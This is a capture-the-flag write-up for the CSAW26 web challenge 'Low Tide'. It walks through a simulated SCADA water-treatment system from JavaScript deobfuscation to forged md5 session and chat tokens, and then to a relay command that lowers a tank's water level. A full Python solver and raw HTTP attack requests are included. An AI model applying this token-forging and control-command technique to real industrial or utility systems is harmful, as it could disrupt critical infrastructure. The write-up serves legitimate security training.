$ / 17 min read/web
Low Tide
A five-stage SCADA proxy chain: deobfuscate a gateway address, forge a time-derived token, walk a virtual filesystem, authenticate to a chat bridge, then issue a control command — against a load balancer where only one of four workers answers.
- section
- CSAW26
- event
- ctf.csaw.io ↗
- category
- web
- status
- ● solved
The service emits it uppercase (csaw{REDACTED}); submit lowercase to match the
CTF’s flag format.
A water treatment utility’s remote monitoring system has been left online with an old technician login page still reachable. The login does not work anymore, but the page was never actually taken down.
A five-stage chain: deobfuscate a JS gateway address → forge a time-derived gateway token → walk a virtual filesystem → authenticate to a chat bridge with a second token scheme → issue a SCADA control command through a relay proxy.
0. Architecture
| Component | Host | Role |
|---|---|---|
| Frontend | low-tide.ctf.csaw.io |
static Nginx — the decoy login page |
| Backend | low-tide-lb.ctf.csaw.io |
Gunicorn/Flask — all real behaviour |
| ALB | web-alb-prod-680046691.us-east-1.elb.amazonaws.com |
both names resolve here |
Only /station/checkin/... is routed to Flask. Bare /api/v1 or /api/v2
prefixes on the LB host return Flask 404 — every API call must be nested under
/station/checkin/.
Four simulated station workers sit behind the ALB, each with its own baseline clock:
| Station | Baseline date |
|---|---|
| st-01 | 2018-07-12 |
| st-02 | 2015-06-10 |
| st-03 | 2016-08-20 |
| st-04 | 2019-03-15 |
Only st-04 serves the relay route. This matters enormously — see §7.
1. Frontend deobfuscation
The landing page is static and its login form is inert (POST returns Nginx 405).
The real target is what assets/app.js reaches in the background.
1.1 The gateway address (ROT47 → hex → ASCII)
app.js contains a blob that is not plaintext:
4@?DE vp%t(p* lQ9EEADi^^=@H\E:56\=3]4E7]4D2H]:@^DE2E:@?^4964<:?Q
ROT47 (rotate printable ASCII 33–126 by 47) decodes it:
def rot47(s):
return "".join(chr(33 + ((ord(c) - 33 + 47) % 94)) if 33 <= ord(c) <= 126 else c
for c in s)
Yielding:
const GATEWAY = "https://low-tide-lb.ctf.csaw.io/station/checkin";
Some copies of the payload carry a hex-encoded tail; decode hex first, then ROT47. A corrupted prefix on the first decode attempt is a common stumbling block — verify the result parses as a valid URL before trusting it.
1.2 The required User-Agent
app.js declares const REQUIRED_AGENT = and leaves it blank. The value
comes from robots.txt, which carries five candidates in comments:
StationSync-Agent/2.1
FieldSync-Client/3.0
MonitorAgent/2.2
StationSync-Agent/2.0
RelayCheck-Bot/1.9
Only StationSync-Agent/2.1 is accepted. The others (notably
RelayCheck-Bot/1.9) receive no session cookie and see only a frozen legacy
clock at 2019-01-02T03:14:07Z — a decoy, not a second auth path.
1.3 renderStatus (red herring)
The function is obfuscated by even/odd character interleaving: characters at
even indices form one line, odd indices the other. Deinterleaving yields
ordinary DOM code touching status-light / status-text. No secrets.
1.4 robots.txt disallow entries (red herring)
/internal-monitor/ and /relay-status/ are Nginx 404s on the frontend and
not_found through the authenticated filesystem. Dead ends.
2. Gateway authentication
POST /station/checkin
User-Agent: StationSync-Agent/2.1
action=checkin
Sets a 16-hex-character sid cookie and pins the connection to one worker.
Sending action=checkin&token=probe returns the worker’s simulated clock:
{"reason":"code_mismatch: expected token derived from current sync time",
"result":"rejected","sync_time":"2019-03-15T16:35:32Z"}
The clock advances in real time from its fake baseline. The token is:
token = md5(sid + str(int(unix_epoch_of_station_sync_time)))
import hashlib, datetime
ep = int(datetime.datetime.strptime(sync_time, "%Y-%m-%dT%H:%M:%SZ")
.replace(tzinfo=datetime.UTC).timestamp())
token = hashlib.md5((sid + str(ep)).encode()).hexdigest()
Accepted response:
{"result":"accepted","role":"system_check","station_id":"st-04",
"directory_api":"/api/v1/st-04/"}
This token is used for every subsequent call and must be regenerated each time — the clock moves, so a token is valid for roughly one second.
3. Virtual filesystem
Reachable at /station/checkin/api/v1/<station_id>/<path>, POST form with
action=checkin + a fresh token. A bare GET returns unsupported_action.
Rate limited: HTTP 429 with retry_after: 5.
The tree is identical on all four stations.
/ {"entries":["station.log","config/"],"type":"directory"}
/station.log
/config/ {"entries":["sync.conf","relay-bot.js","relay_chat.js"]}
/.logs/ {"entries":["err_3005.log"]} <-- NOT in any listing
Key trick: .logs/ never appears in a directory listing. It is discoverable
only because station.log names it:
[st-04] routine check-in ok
[st-04] heartbeat nominal
[st-04] disk usage 34%
[st-04] cron: backup job completed
[st-04] WARN: stale handler dump written to .logs/err_3005.log
[st-04] heartbeat nominal
Follow the breadcrumbs:
.logs/err_3005.log→chat bridge relocated: config/relay_chat.jsconfig/relay-bot.js(base64) →// integration failed // see error 3005 in logs // token rotation broke auth(The “token rotation” line is a red herring — it lures you into brute-forcing rotating token schemes for the relay. The relay does not use one.)
config/relay_chat.js→// chat bridge moved here after the v1 migration // endpoint: v2/chat // see sync.conf for the auth handshake, never finished porting it overconfig/sync.conf→chat bridge auth: Authorization: Bot <token> token=md5(station_id+MMM+DD+YY+HH+MM) all lowercase/zero-padded, e.g. mar05191324 params: id=<message id, batch of 5>
Exhaustive search for relay documentation (config/relay.conf,
config/.relay/, .config/, config/control.conf, …) returns not_found.
The relay handshake is deliberately undocumented — unlike the chat bridge.
4. Chat bridge
GET /station/checkin/api/v2/chat?id=<n>
Authorization: Bot <md5(station_id + strftime("%b%d%y%H%M").lower())>
e.g. md5("st-04mar15191834"). Returns batches of 5 starting at id. 60
messages total; 5-second throttle. id=61 → invalid_id; id=0/-1 are
indexing quirks returning the first batch, not a pre-retention archive.
The archive is read-only — posting control verbs returns unsupported_action.
Messages 45–60 carry everything needed:
| # | Content |
|---|---|
| 45–46 | plan to wire system health checks into an admin control panel |
| 49 | “we’re only exposing raise and lower on the water level” (pump on/off not exposed) |
| 53 | “I’ll wire the relay through station 4, it’s the only one with the proxy route set up” |
| 55 | “yeah, 4f9a-77c2-e01d, admin box is at 10.10.14.31 same as always” |
| 56 | “if the level swings too far either direction the system throws a hard alarm, so don’t test with big values unless you mean it” |
| 57 | “don’t want to be the guy who floods or drains the tank testing a raise/lower endpoint” |
Message 56 is the win condition stated as a warning.
5. The relay
Route: POST /station/checkin/relay — no trailing slash. /relay/ is not a
route.
5.1 Mapping the gates
Each gate is a distinct rejection reason, which lets you bisect the request shape:
| Request state | Response |
|---|---|
| wrong worker (st-01/02/03) | unsupported_action |
no X-Relay-Target |
invalid_relay_target |
target present, no cmd |
invalid_command |
| bad/stale gateway token | code_mismatch |
cmd valid, key missing/wrong |
relay_auth_failed |
| everything correct | accepted + relay{} object |
5.2 The working request
POST /station/checkin/relay HTTP/1.1
Host: low-tide-lb.ctf.csaw.io
User-Agent: StationSync-Agent/2.1
X-Relay-Target: http://10.10.14.31/
X-Relay-Key: 4f9a-77c2-e01d
Cookie: sid=<session sid>
Content-Type: application/x-www-form-urlencoded
action=checkin&token=<md5(sid+station_epoch)>&cmd=CMD:WATER:LOWER:50
Three non-obvious requirements:
actionstayscheckin.action=raise/lower/controlare invalid actions that divert into a branch which never reaches the token check.- The control instruction goes in
cmd, colon-delimited:CMD:WATER:LOWER:<magnitude>. Notcommand, notaction. - The relay key is a header.
X-Relay-Key. As formkey/relay_key/code/auth, or asAuthorization: Bot|Relay <key>, it fails.
The target must also be a header (X-Relay-Target); as a form field the request
stays at invalid_relay_target.
5.3 Response
{"relay":{"alarm":"LOW LEVEL",
"flag":"csaw{REDACTED}",
"status":"critical",
"water_level":20},
"result":"accepted","role":"system_check","station_id":"st-04"}
Lowering the tank drives water_level to 20, trips the LOW LEVEL alarm, and
releases the flag — the behaviour message 56 warned about, and the reason the
challenge is called Low Tide.
6. Full solver
import requests, hashlib, time, datetime
LB = "https://low-tide-lb.ctf.csaw.io"
UA = "StationSync-Agent/2.1"
KEY = "4f9a-77c2-e01d"
HDR = {"X-Relay-Target": "http://10.10.14.31/", "X-Relay-Key": KEY}
class Station:
def __init__(self):
self.s = requests.Session()
self.s.headers["User-Agent"] = UA
self.sid = None
def post(self, path, data=None, headers=None, tries=8):
for _ in range(tries):
r = self.s.post(f"{LB}{path}", data=data or {},
headers=headers or {}, timeout=25)
if r.status_code == 429: # honour the throttle
try: w = float(r.json().get("retry_after", 5))
except Exception: w = 5
time.sleep(w + 0.4); continue
return r
return r
def boot(self):
self.post("/station/checkin", {"action": "checkin"})
self.sid = self.s.cookies.get("sid")
def station_epoch(self):
j = self.post("/station/checkin",
{"action": "checkin", "token": "probe"}).json()
t = j.get("sync_time")
if not t: return None
return int(datetime.datetime.strptime(t, "%Y-%m-%dT%H:%M:%SZ")
.replace(tzinfo=datetime.UTC).timestamp())
def token(self):
return hashlib.md5((self.sid + str(self.station_epoch())).encode()).hexdigest()
def auth(self):
return self.post("/station/checkin",
{"action": "checkin", "token": self.token()}).json()
# Only st-04 serves the relay; the ALB assigns a worker per connection,
# so keep opening sessions until one lands on st-04.
while True:
st = Station(); st.boot()
if st.auth().get("station_id") == "st-04":
break
time.sleep(1.5)
r = st.post("/station/checkin/relay",
{"action": "checkin", "token": st.token(),
"cmd": "CMD:WATER:LOWER:50"}, HDR)
print(r.status_code, r.text)
7. Pitfalls that cost the most time
7.1 Station drift silently changes the answer
Only st-04 serves the relay. The other three workers answer the identical
request with unsupported_action. The ALB assigns a worker per connection and
requests.Session keep-alive does not reliably pin one.
Observed live, within a single session object:
action=lower code_mismatch [after = st-04 lost]
action=lower value=50 unsupported_action [after = st-03] <- never reached the relay
action=control command=lower unsupported_action [after = st-03] <- never reached the relay
Two probes were logged as “parameter doesn’t work” when they had in fact executed against a station with no relay route at all.
Rule: unsupported_action means wrong worker — retry, never wrong
parameter. Confirm station_id == "st-04" in the same connection immediately
before (ideally also after) any relay probe, and discard drifted results.
7.2 The /relay/<anything> catch-all is a false positive
/relay/raise, /relay/lower, /relay/50, and /relay/bogus all return
{"result":"accepted","role":"system_check", ...}
This is the generic heartbeat, not a successful command — /relay/bogus
succeeding proves the subpath is never validated. Direction is not encoded in
the path.
7.3 The token was never the problem
action=raise returning code_mismatch while action=checkin returned
invalid_command looks like an action-bound token. It is not: raise is simply
an invalid action whose branch never reaches the token check. Combined with
relay-bot.js’s “token rotation broke auth” comment, this can consume hours of
brute-forcing per-second and per-minute token schemes that were never needed.
7.4 Self-inflicted rate limiting produces silent empty results
Each probe costs ~5 requests (boot, sync, auth, sync, relay). Once 429s begin,
retry_after=5 backoffs compound. One sweep ran a full 560-second budget, exited
cleanly with status 0, and wrote zero bytes — every request consumed by
backoff sleeps. A single isolated request returns in 0.9 s, so the service is not
blocking; the volume is self-inflicted.
Rule: print a line per candidate even on failure, so an exhausted budget is distinguishable from a genuine negative.
7.5 The command schema and parameter name are not derivable
This is the one part of the challenge that is not solvable from the artifacts, and it is where the most time went.
Every earlier stage documents itself. station.log names .logs/err_3005.log.
err_3005.log names config/relay_chat.js. relay_chat.js names v2/chat and
points at sync.conf. sync.conf then spells out the chat bridge handshake
completely — parameter names, token construction, even a worked example:
chat bridge auth: Authorization: Bot <token>
token=md5(station_id+MMM+DD+YY+HH+MM) all lowercase/zero-padded, e.g. mar05191324
params: id=<message id, batch of 5>
Nothing equivalent exists for the relay. An exhaustive search of the virtual
filesystem — config/relay.conf, config/.relay/, config/.relay.conf,
.config/, config/control.conf, config/relay-sync.conf, .logs/relay.log,
and the same names on all four stations — returns not_found every time. The
two relay-adjacent files that do exist are deliberately empty of specification:
// relay-bot.js
// integration failed
// see error 3005 in logs
// token rotation broke auth <- actively misleading; see 7.3
So both halves of the final request have to be guessed blind:
The parameter name. The relay reads cmd. Attempts covered command,
action, value, magnitude, amount, level, delta, mag, units,
percent, feet, inches, qty, steps, direction, and combinations —
all rejected identically. Nothing in the response text distinguishes “unknown
parameter” from “wrong value”, so the failures carry no gradient to follow.
The command schema. The value must be CMD:WATER:LOWER:<magnitude> — a
four-field colon-delimited string. The chat log says only that raise and
lower are exposed on the water level (msg 49); it never shows the wire format.
Attempts covered bare verbs (raise, lower), space-separated pairs
(lower 50), and other delimiters (lower:50, lower=50, lower,50,
lower/50, -50, +50) — none of which is the required shape. The literal
CMD: prefix and the WATER subsystem field are not hinted at anywhere in the
source, the filesystem, or the chat archive.
This was ultimately supplied by Hint 3:
The relay expects its control command in the cmd parameter using this structure:
CMD:WATER:LOWER:
Worth noting for anyone replaying this: the interesting, discoverable work ends
at the chat bridge. The relay’s remaining barrier is a two-part guess with a
flat error surface and no feedback, and time spent there is better spent on the
hint. The relay-bot.js “token rotation” comment makes it worse by pointing at
a credential problem that does not exist (7.3), which is what pulled the
investigation toward brute-forcing token formulas instead of the command format.
8. Attack chain summary
static page (decoy)
└─ app.js ── ROT47/hex ─→ GATEWAY url
└─ robots.txt ─────────→ User-Agent: StationSync-Agent/2.1
└─ POST /station/checkin ─→ sid cookie + simulated clock
└─ token = md5(sid + station_epoch)
└─ /api/v1/<st>/ virtual filesystem
└─ station.log ─→ .logs/err_3005.log (unlisted)
└─ config/relay_chat.js ─→ config/sync.conf
└─ chat token = md5(station_id + %b%d%y%H%M)
└─ /api/v2/chat ─→ relay key + admin IP
└─ POST /station/checkin/relay
X-Relay-Target + X-Relay-Key
cmd=CMD:WATER:LOWER:50
└─ LOW LEVEL alarm ─→ FLAG
## challenge files
51 files · 481 KB- stage1/
- stage2/
- assets/
flags redacted; flag images and local flag.txt files removed